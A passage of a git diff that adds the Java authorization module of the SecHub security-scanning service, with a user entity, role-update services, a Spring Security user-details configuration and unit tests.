* Auth service does handle authorization and authentication messages + * + * @author Albert Tregnaghi + * + */ +@Component +public class AuthMessageHandler implements AsynchronMessageHandler { + + private static final Logger LOG = LoggerFactory.getLogger(AuthMessageHandler.class); + + + @Autowired + AuthUserCreationService userAuthCreationService; + + @Autowired + AuthUserUpdateRolesService userAuthUpdateRolesService; + + @Autowired + AuthUpdateUserApiTokenService userAuthTokenUpdateService; + + @Autowired + AuthUserDeleteService userAuthDeleteService; + + @Override + public void receiveAsyncMessage(DomainMessage request) { + MessageID messageId = request.getMessageId(); + + LOG.debug("received domain request: {}", request); + + + switch (messageId) { + case USER_CREATED: + handleUserCreation(request); + break; + case USER_API_TOKEN_CHANGED: + handleUserApiTokenChanged(request); + break; + case USER_ROLES_CHANGED: + handleUserRolesChanged(request); + break; + case USER_DELETED: + handleUserDeleted(request); + break; + default: + throw new IllegalStateException("unhandled message id:"+messageId); + } + } + + @IsReceivingAsyncMessage(MessageID.USER_ROLES_CHANGED) + private void handleUserRolesChanged(DomainMessage request) { + UserMessage userMessage = request.get(MessageDataKeys.USER_ROLES_DATA); + userAuthUpdateRolesService.updateRoles(userMessage.getUserId(), userMessage.getRoles()); + + } + + @IsReceivingAsyncMessage(MessageID.USER_API_TOKEN_CHANGED) + private void handleUserApiTokenChanged(DomainMessage request) { + UserMessage userMessage = request.get(MessageDataKeys.USER_API_TOKEN_DATA); + userAuthTokenUpdateService.updateAPIToken(userMessage.getUserId(), userMessage.getHashedApiToken()); + } + + @IsReceivingAsyncMessage(MessageID.USER_CREATED) + private void handleUserCreation(DomainMessage request) { + UserMessage userMessage = request.get(MessageDataKeys.USER_CREATION_DATA); + userAuthCreationService.createUser(userMessage.getUserId(), userMessage.getHashedApiToken()); + } + + @IsReceivingAsyncMessage(MessageID.USER_DELETED) + private void handleUserDeleted(DomainMessage request) { + UserMessage userMessage = request.get(MessageDataKeys.USER_DELETE_DATA); + userAuthDeleteService.deleteUser(userMessage.getUserId()); + } + +} diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUser.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUser.java new file mode 100644 index 0000000000..211e59622b --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUser.java @@ -0,0 +1,136 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization; + +import java.util.Objects; + +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.Id; +import javax.persistence.Table; +import javax.persistence.Version; + +/** + * This entity is designed to have a entry wich is collected as fast as possible + * from database. So it shall have only rudimentary data necessary to get the + * info into security to identify access and roles. So we do e.g NOT use lists + * for {@link AuthUserRole} here but use dedicated boolean flags only. + * + * @author Albert Tregnaghi + * + */ +@Entity +@Table(name = AuthUser.TABLE_NAME) +public class AuthUser { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "AUTH_USER"; + public static final String TABLE_ROLES_NAME = "AUTH_USER2ROLES"; + + public static final String COLUMN_USER_ID = "USER_ID"; + public static final String COLUMN_USER_API_TOKEN = "USER_APITOKEN"; + public static final String COLUMN_ROLE_USER = "ROLE_USER"; + public static final String COLUMN_ROLE_OWNER = "ROLE_OWNER"; + public static final String COLUMN_ROLE_SUPERADMIN = "ROLE_ADMIN"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = AuthUser.class.getSimpleName(); + public static final String QUERY_COUNT_SUPERADMINS = "SELECT count(u) FROM AuthUser u WHERE u.roleSuperAdmin = true"; + + public static final String PROPERTY_USER = "roleUser"; + public static final String PROPERTY_OWNER = "roleOwner"; + public static final String PROPERTY_SUPERADMIN = "roleSuperAdmin"; + + @Id + @Column(name = COLUMN_USER_ID) // ,unique = true, nullable = false) + String userId; + + @Column(name = COLUMN_USER_API_TOKEN, nullable = true) + String hashedApiToken; + + @Column(name = COLUMN_ROLE_USER) + boolean roleUser; + + /** + * This field is referenced by {@link #PROPERTY_SUPERADMIN} + */ + @Column(name = COLUMN_ROLE_SUPERADMIN) + boolean roleSuperAdmin; + + @Column(name = COLUMN_ROLE_OWNER) + boolean roleOwner; + + @Version + @Column(name = "VERSION") + Integer version; + + public boolean isRoleSuperAdmin() { + return roleSuperAdmin; + } + + public void setRoleSuperAdmin(boolean roleSuperAdmin) { + this.roleSuperAdmin = roleSuperAdmin; + } + + public void setRoleUser(boolean roleUser) { + this.roleUser = roleUser; + } + + public void setRoleOwner(boolean roleOwner) { + this.roleOwner = roleOwner; + } + + public void setHashedApiToken(String hashedApiToken) { + this.hashedApiToken = hashedApiToken; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + public boolean isRoleUser() { + return roleUser; + } + + public boolean isRoleOwner() { + return roleOwner; + } + + public String getUserId() { + return userId; + } + + public String getHashedApiToken() { + return hashedApiToken; + } + + @Override + public int hashCode() { + return Objects.hash(userId); + } + + @Override + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + AuthUser other = (AuthUser) obj; + return Objects.equals(userId, other.userId); + } + + @Override + public String toString() { + return "AuthUser [userId=" + userId + ", roleUser=" + roleUser + ", roleSuperAdmin=" + roleSuperAdmin + ", roleOwner=" + roleOwner + + ", hashedApiToken=" + hashedApiToken + ", version=" + version + "]"; + } + +} \ No newline at end of file diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRepository.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRepository.java new file mode 100644 index 0000000000..f44d70b5c2 --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRepository.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization; + +import java.util.Optional; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Query; + +import com.daimler.sechub.sharedkernel.error.NotFoundException; + +public interface AuthUserRepository extends JpaRepository{ + + Optional findByUserId(String userid); + + @Query(AuthUser.QUERY_COUNT_SUPERADMINS) + int countAmountOfSuperAdmins(); + + public default AuthUser findOrFail(String userId) { + Optional found = findByUserId(userId); + if (! found.isPresent()) { + throw new NotFoundException("no user found :"+userId); + } + return found.get(); + } +} diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRestAPIConfiguration.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRestAPIConfiguration.java new file mode 100644 index 0000000000..ba6c5d0a17 --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRestAPIConfiguration.java @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization; + +import java.util.ArrayList; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.User.UserBuilder; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.core.userdetails.UsernameNotFoundException; +import org.springframework.security.crypto.password.PasswordEncoder; + +import com.daimler.sechub.sharedkernel.RoleConstants; + +@Configuration +public class AuthUserRestAPIConfiguration { + + private static final Logger LOG = LoggerFactory.getLogger(AuthUserRestAPIConfiguration.class); + + + @Autowired + PasswordEncoder passwordEncoder; + + @Bean + public UserDetailsService userDetailsService(final AuthUserRepository repository) { + /* @formatter:off */ + return userid -> repository. + findByUserId(userid). + map(AuthUserRestAPIConfiguration::adoptUser). + orElseThrow(()->new UsernameNotFoundException(userid)); + /* @formatter:on */ + } + + static UserDetails adoptUser(AuthUser entity) { + UserBuilder builder = User.builder(); + builder.username(entity.getUserId()); + String hashedApiToken = entity.getHashedApiToken(); + builder.password(hashedApiToken); + + List authorities = accumulateAuthorities(entity); + + builder.authorities(authorities.toArray(new String[authorities.size()])); + + /* when api token is empty or null then access is disabled */ + boolean disabled = hashedApiToken==null || hashedApiToken.isEmpty(); + builder.disabled(disabled); + UserDetails details = builder.build(); + LOG.trace("User:{} has authorities: {}, entity:{}",entity.getUserId(), details.getAuthorities(),entity); + return details; + } + + private static List accumulateAuthorities(AuthUser entity) { + List authorities = new ArrayList(); + + if (entity.isRoleUser()) { + authorities.add(RoleConstants.ROLE_USER); + } + if (entity.isRoleSuperAdmin()) { + authorities.add(RoleConstants.ROLE_SUPERADMIN); + } + if (entity.isRoleOwner()) { + authorities.add(RoleConstants.ROLE_OWNER); + } + return authorities; + } + + +} diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRole.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRole.java new file mode 100644 index 0000000000..6f10f90cae --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRole.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization; + +import java.util.List; + +import com.daimler.sechub.sharedkernel.RoleConstants; + +public enum AuthUserRole { + + USER(RoleConstants.ROLE_USER), + + OWNER(RoleConstants.ROLE_OWNER), + + SUPERADMINISTRATOR(RoleConstants.ROLE_SUPERADMIN); + + private String id; + + private AuthUserRole(String id) { + // Identifier used for persistence - do NEVER change an existing id this when + // you not want to + // migrate your database! + // we use this as identifier in db to prevent side effects on refactorings + // So developers are able to change the enum naming without side effects on + // db... + this.id = id; + } + + public String getId() { + return id; + } + + public static AuthUserRole fromId(String id) { + for (AuthUserRole r : AuthUserRole.values()) { + if (r.id.equals(id)) { + return r; + } + } + return null; + } + + public boolean isRepresentedByOneof(List roleIds) { + return isContaining(AuthUserRole.SUPERADMINISTRATOR, roleIds); + } + + private static boolean isContaining(AuthUserRole search, List givenIds) { + if (givenIds==null || givenIds.isEmpty()) { + return false; + } + for (String roleId : givenIds) { + AuthUserRole foundOrNull = AuthUserRole.fromId(roleId); + if (search.equals(foundOrNull)) { + return true; + } + } + return false; + } +} diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRoleConverter.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRoleConverter.java new file mode 100644 index 0000000000..320d94379f --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthUserRoleConverter.java @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization; + +import javax.persistence.AttributeConverter; +import javax.persistence.Converter; + +@Converter(autoApply = true) +public class AuthUserRoleConverter implements AttributeConverter { + + @Override + public String convertToDatabaseColumn(AuthUserRole attribute) { + return attribute.getId(); + } + + @Override + public AuthUserRole convertToEntityAttribute(String dbData) { + return AuthUserRole.fromId(dbData); + } + + +} \ No newline at end of file diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUpdateUserApiTokenService.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUpdateUserApiTokenService.java new file mode 100644 index 0000000000..30cdab5f00 --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUpdateUserApiTokenService.java @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization.service; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.authorization.AuthUser; +import com.daimler.sechub.domain.authorization.AuthUserRepository; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserClicksLinkToGetNewAPIToken; + +@Service +public class AuthUpdateUserApiTokenService { + + private static final Logger LOG = LoggerFactory.getLogger(AuthUpdateUserApiTokenService.class); + + @Autowired + AuthUserRepository userRepo; + + @UseCaseUserClicksLinkToGetNewAPIToken(@Step(number=3,next={Step.NO_NEXT_STEP} ,name="Update auth data")) + public void updateAPIToken(String userId, String hashedApiToken) { + AuthUser user = userRepo.findOrFail(userId); + user.setHashedApiToken(hashedApiToken); + userRepo.save(user); + + LOG.debug("API token for user:{} updated",userId); + + } + +} diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserCreationService.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserCreationService.java new file mode 100644 index 0000000000..6169e44fd7 --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserCreationService.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization.service; + +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Lazy; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.authorization.AuthUser; +import com.daimler.sechub.domain.authorization.AuthUserRepository; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageFactory; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorAcceptsSignup; + +@Service +public class AuthUserCreationService { + + private static final Logger LOG = LoggerFactory.getLogger(AuthUserCreationService.class); + + @Autowired + AuthUserRepository userRepo; + + @Lazy + @Autowired + DomainMessageService eventBus; + + @UseCaseAdministratorAcceptsSignup(@Step(number=4,next={Step.NO_NEXT_STEP} ,name="Give user access", description="Authorization layer is informed about new user and gives access to sechub. But without any project information")) + @IsSendingAsyncMessage(MessageID.REQUEST_USER_ROLE_RECALCULATION) + public void createUser(String userId, String hashedApiToken) { + Optional found = userRepo.findByUserId(userId); + if (found.isPresent()) { + LOG.warn("Will skip user create action because user already found with name:{}",userId); + return; + } + AuthUser user = new AuthUser(); + user.setUserId(userId); + userRepo.save(user); + + LOG.info("Created auth user:{}",userId); + + eventBus.sendAsynchron(DomainMessageFactory.createRequestRoleCalculation(userId)); + } + +} diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserDeleteService.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserDeleteService.java new file mode 100644 index 0000000000..fac3e38da4 --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserDeleteService.java @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization.service; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.authorization.AuthUserRepository; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; + +@Service +public class AuthUserDeleteService { + + private static final Logger LOG = LoggerFactory.getLogger(AuthUserDeleteService.class); + + @Autowired + AuthUserRepository authUserRepository; + + @UseCaseAdministratorDeletesUser(@Step(number=4,next={Step.NO_NEXT_STEP} ,name="Delete user access", description="Authorization layer is informed about user deltete and removes access to sechub. But without any project information")) + public void deleteUser(String userId) { + authUserRepository.deleteById(userId); + LOG.info("Deleted auth user:{}",userId); + } + +} diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserUpdateRolesService.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserUpdateRolesService.java new file mode 100644 index 0000000000..d914d2ac0b --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/service/AuthUserUpdateRolesService.java @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization.service; + +import static com.daimler.sechub.sharedkernel.RoleConstants.*; + +import java.util.Set; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.dao.OptimisticLockingFailureException; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.authorization.AuthUser; +import com.daimler.sechub.domain.authorization.AuthUserRepository; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorAssignsUserToProject; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorUnassignsUserFromProject; + +@Service +public class AuthUserUpdateRolesService { + + private static final Logger LOG = LoggerFactory.getLogger(AuthUserUpdateRolesService.class); + + private static final int MAX_RETRY_COUNT = 3; + + @Autowired + AuthUserRepository authUserRepository; + + + /* @formatter:off */ + @UseCaseAdministratorAssignsUserToProject(@Step(number=4,next={Step.NO_NEXT_STEP} ,name="Roles changed in auth", description="Authorization layer adds ROLE_USER")) + @UseCaseAdministratorUnassignsUserFromProject(@Step(number=4,next={Step.NO_NEXT_STEP} ,name="Roles changed in auth", description="Authorization layer removes ROLE_USER"))/* @formatter:on */ + public void updateRoles(String userId, Set roles) { + internalUpdateRoles(userId, roles,0); + + } + + /** + * Why this retry mechanism? The update role event can happen multiple times - so an optimistic lock may happen. But last event shall override. + * @param userId + * @param roles + * @param retryCount + */ + private void internalUpdateRoles(String userId, Set roles, int retryCount) { + if (retryCount>MAX_RETRY_COUNT) { + LOG.error("Maximum retry count exceeded ({}), cannot update user {} with roles {}",MAX_RETRY_COUNT, userId,roles); + return; + } + AuthUser user = authUserRepository.findOrFail(userId); + LOG.debug("Current auth roles of user '{}'. Roles: superadmin={}, user={}, owner={}", userId, user.isRoleSuperAdmin(), + user.isRoleUser(), user.isRoleOwner()); + + /* reset all flags */ + user.setRoleSuperAdmin(false); + user.setRoleOwner(false); + user.setRoleUser(false); + + /* set only flags where role is defined */ + for (String role : roles) { + if (isSuperAdminRole(role)) { + user.setRoleSuperAdmin(true); + } else if (isUserRole(role)) { + user.setRoleUser(true); + } else if (isOwnerRole(role)) { + user.setRoleOwner(true); + } + } + LOG.info("Updated auth roles of user '{}'. Roles: superadmin={}, user={}, owner={}", userId, user.isRoleSuperAdmin(), + user.isRoleUser(), user.isRoleOwner()); + try{ + authUserRepository.save(user); + }catch(OptimisticLockingFailureException e) { + /* when this happens we do not really care! reason: last event is the event that matters!*/ + LOG.warn("Optimistic lock failure, ai user has already been changed. Because last event overrides all we do a retry"); + internalUpdateRoles(userId, roles, retryCount++); + } + } + +} diff --git a/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/AuthUserRestAPIConfigurationTest.java b/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/AuthUserRestAPIConfigurationTest.java new file mode 100644 index 0000000000..9556452ea3 --- /dev/null +++ b/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/AuthUserRestAPIConfigurationTest.java @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization; + +import static org.junit.Assert.*; + +import java.util.Collection; +import java.util.Iterator; + +import org.junit.Test; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.userdetails.UserDetails; + +import com.daimler.sechub.sharedkernel.RoleConstants; + + +public class AuthUserRestAPIConfigurationTest { + + @Test + public void adoptUserAcumultesAuthorities() { + AuthUser entity = createAuthUser(); + + entity.setRoleOwner(true); + entity.setRoleUser(true); + entity.setRoleSuperAdmin(true); + + /* execute */ + UserDetails result = AuthUserRestAPIConfiguration.adoptUser(entity); + + /* test */ + assertHasAuthority(result, RoleConstants.ROLE_USER,RoleConstants.ROLE_SUPERADMIN, RoleConstants.ROLE_OWNER); + } + + @Test + public void adoptUser_with_role_user() { + AuthUser entity = createAuthUser(); + + entity.setRoleOwner(false); + entity.setRoleUser(true); + entity.setRoleSuperAdmin(false); + + /* execute */ + UserDetails result = AuthUserRestAPIConfiguration.adoptUser(entity); + + /* test */ + assertHasAuthority(result, RoleConstants.ROLE_USER); + } + + @Test + public void adoptUser_with_role_owner() { + /* prepare */ + AuthUser entity = createAuthUser(); + + entity.setRoleOwner(true); + entity.setRoleUser(false); + entity.setRoleSuperAdmin(false); + + /* execute */ + UserDetails result = AuthUserRestAPIConfiguration.adoptUser(entity); + + /* test */ + assertHasAuthority(result, RoleConstants.ROLE_OWNER); + } + + @Test + public void adoptUser_with_role_superadmin() { + AuthUser entity = createAuthUser(); + + entity.setRoleOwner(false); + entity.setRoleUser(false); + entity.setRoleSuperAdmin(true); + + /* execute */ + UserDetails result = AuthUserRestAPIConfiguration.adoptUser(entity); + + /* test */ + assertHasAuthority(result, RoleConstants.ROLE_SUPERADMIN); + } + + private void assertHasAuthority(UserDetails result, String ... roles) { + Collection auth = result.getAuthorities(); + for (String role: roles) { + boolean found=false; + for (Iterator it= auth.iterator();it.hasNext();) { + GrantedAuthority ga = it.next(); + if (role.contentEquals(ga.getAuthority())){ + found=true; + break; + } + } + if (!found) { + fail("Did not found role:"+role+" inside "+auth); + } + + } + assertEquals(roles.length,auth.size()); + + } + + private AuthUser createAuthUser() { + AuthUser entity = new AuthUser(); + + entity.setUserId("albert"); + entity.setHashedApiToken("{noop}top-secret"); + return entity; + } + +} diff --git a/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/SecHubAuthUserRepositoryTest.java b/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/SecHubAuthUserRepositoryTest.java new file mode 100644 index 0000000000..a30dedf1b7 --- /dev/null +++ b/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/SecHubAuthUserRepositoryTest.java @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization; + +import static org.junit.Assert.*; + +import java.util.List; +import java.util.Optional; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +@RunWith(SpringRunner.class) +@DataJpaTest +@SpringBootTest +@ContextConfiguration(classes = { AuthUserRepository.class, SecHubAuthUserRepositoryTest.SimpleTestConfiguration.class }) +public class SecHubAuthUserRepositoryTest { + + @Autowired + private AuthUserRepository sechubUserRepository; + + @Before + public void before() throws Exception { + + } + + @Test + public void is_able_to_store_user_with_role_superadmin_and_fetch_back() { + + /* prepare */ + AuthUser user = new AuthUser(); + user.userId="userid1"; + user.hashedApiToken="1234"; + user.roleSuperAdmin=true; + + /* execute */ + sechubUserRepository.save(user); + + /* test */ + List users = sechubUserRepository.findAll(); + assertNotNull(users); + assertFalse(users.isEmpty()); + assertEquals(1,users.size()); + AuthUser found = users.iterator().next(); + assertFalse(found.roleUser); + assertTrue(found.roleSuperAdmin); + assertEquals("userid1",found.getUserId()); + assertEquals("1234",found.getHashedApiToken()); + } + + @Test + public void is_able_to_store_user() + throws Exception { + + /* prepare */ + AuthUser user = new AuthUser(); + user.userId="userToSearchByName"; + user.hashedApiToken="1234"; + sechubUserRepository.save(user); + + /* execute */ + Optional foundUser = sechubUserRepository.findByUserId("userToSearchByName"); + + /* test */ + assertNotNull(foundUser); + assertTrue(foundUser.isPresent()); + + } + + @TestConfiguration + @EnableAutoConfiguration + public static class SimpleTestConfiguration { + + } + +} diff --git a/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/service/AuthUserUpdateRolesServiceTest.java b/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/service/AuthUserUpdateRolesServiceTest.java new file mode 100644 index 0000000000..f9b5e91b62 --- /dev/null +++ b/sechub-authorization/src/test/java/com/daimler/sechub/domain/authorization/service/AuthUserUpdateRolesServiceTest.java @@ -0,0 +1,184 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization.service; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedHashSet; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.InOrder; + +import com.daimler.sechub.domain.authorization.AuthUser; +import com.daimler.sechub.domain.authorization.AuthUserRepository; +import com.daimler.sechub.sharedkernel.RoleConstants; + +public class AuthUserUpdateRolesServiceTest { + + private AuthUserUpdateRolesService serviceToTest; + private AuthUserRepository authUserRepository; + + + @Before + public void before() throws Exception { + authUserRepository= mock(AuthUserRepository.class); + + serviceToTest = new AuthUserUpdateRolesService(); + serviceToTest.authUserRepository=authUserRepository; + } + + + + @Test + public void a_user_having_no_role_and_updated_as_user_has_role_user() { + /* prepare */ + AuthUser user = new AuthUser(); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", Collections.singleton(RoleConstants.ROLE_USER)); + + /* test */ + assertTrue(user.isRoleUser()); + assertFalse(user.isRoleOwner()); + assertFalse(user.isRoleSuperAdmin()); + } + + @Test + public void a_user_having_no_role_and_updated_as_superadmin_has_role_superadmin() { + /* prepare */ + AuthUser user = new AuthUser(); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", Collections.singleton(RoleConstants.ROLE_SUPERADMIN)); + + /* test */ + assertFalse(user.isRoleUser()); + assertFalse(user.isRoleOwner()); + assertTrue(user.isRoleSuperAdmin()); + } + + @Test + public void a_user_having_no_role_and_updated_as_owner_has_role_owner() { + /* prepare */ + AuthUser user = new AuthUser(); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", Collections.singleton(RoleConstants.ROLE_OWNER)); + + /* test */ + assertFalse(user.isRoleUser()); + assertTrue(user.isRoleOwner()); + assertFalse(user.isRoleSuperAdmin()); + } + @Test + public void a_user_having_no_role_and_updated_as_user_and_super_admin_has_role_user_and_superadmin() { + /* prepare */ + AuthUser user = new AuthUser(); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", new LinkedHashSet<>(Arrays.asList(RoleConstants.ROLE_SUPERADMIN, RoleConstants.ROLE_USER))); + + /* test */ + assertTrue(user.isRoleUser()); + assertFalse(user.isRoleOwner()); + assertTrue(user.isRoleSuperAdmin()); + } + + @Test + public void a_user_having_no_role_and_updated_as_user_and_owner__has_role_owner_and_user() { + /* prepare */ + AuthUser user = new AuthUser(); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", new LinkedHashSet<>(Arrays.asList(RoleConstants.ROLE_OWNER, RoleConstants.ROLE_USER))); + + /* test */ + assertTrue(user.isRoleUser()); + assertTrue(user.isRoleOwner()); + assertFalse(user.isRoleSuperAdmin()); + } + + @Test + public void a_user_having_role_user_and_updated_as_owner__has_role_owner_and_no_longer_user() { + /* prepare */ + AuthUser user = new AuthUser(); + user.setRoleUser(true); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", new LinkedHashSet<>(Arrays.asList(RoleConstants.ROLE_OWNER))); + + /* test */ + assertFalse(user.isRoleUser()); + assertTrue(user.isRoleOwner()); + assertFalse(user.isRoleSuperAdmin()); + } + + @Test + public void a_user_having_role_superadmin_and_updated_as_user_only__has_role_user_and_no_longer_superadmin() { + /* prepare */ + AuthUser user = new AuthUser(); + user.setRoleSuperAdmin(true); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", new LinkedHashSet<>(Arrays.asList(RoleConstants.ROLE_USER))); + + /* test */ + assertTrue(user.isRoleUser()); + assertFalse(user.isRoleOwner()); + assertFalse(user.isRoleSuperAdmin()); + } + + @Test + public void a_user_having_role_superadmin_and_updated_with_empty_list_has_no_roles_at_all() { + /* prepare */ + AuthUser user = new AuthUser(); + user.setRoleSuperAdmin(true); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", new LinkedHashSet<>()); + + /* test */ + assertFalse(user.isRoleUser()); + assertFalse(user.isRoleOwner()); + assertFalse(user.isRoleSuperAdmin()); + } + + + @Test + public void when_update_service_is_called_the_user_entity_is_persisted_after_changed() { + /* prepare */ + AuthUser user = mock(AuthUser.class); + when(authUserRepository.findOrFail("user")).thenReturn(user); + + /* execute */ + serviceToTest.updateRoles("user", new LinkedHashSet<>(Arrays.asList(RoleConstants.ROLE_USER))); + + /* test */ + InOrder inOrder = inOrder(authUserRepository,user,user,user,user,authUserRepository); + // first get it + inOrder.verify(authUserRepository).findOrFail("user"); + // reset flags + inOrder.verify(user).setRoleSuperAdmin(false); + inOrder.verify(user).setRoleOwner(false); + inOrder.verify(user).setRoleUser(false); + + // set as role owner + inOrder.verify(user).setRoleUser(true); + + // after this save the changed entity + inOrder.verify(authUserRepository).save(user); + } + + +} diff --git a/sechub-cli/.gitignore b/sechub-cli/.gitignore new file mode 100644 index 0000000000..c712adb3d7 --- /dev/null +++ b/sechub-cli/.gitignore @@ -0,0 +1,5 @@ +pkg +# We currently cannot setup this eclipse project by gradle so commiting .project and .settings in oldschool way to git... +.settings +.project +src/daimler.com/sechub/cli/version.go \ No newline at end of file diff --git a/sechub-cli/build.gradle b/sechub-cli/build.gradle new file mode 100644 index 0000000000..80a4e4907c --- /dev/null +++ b/sechub-cli/build.gradle @@ 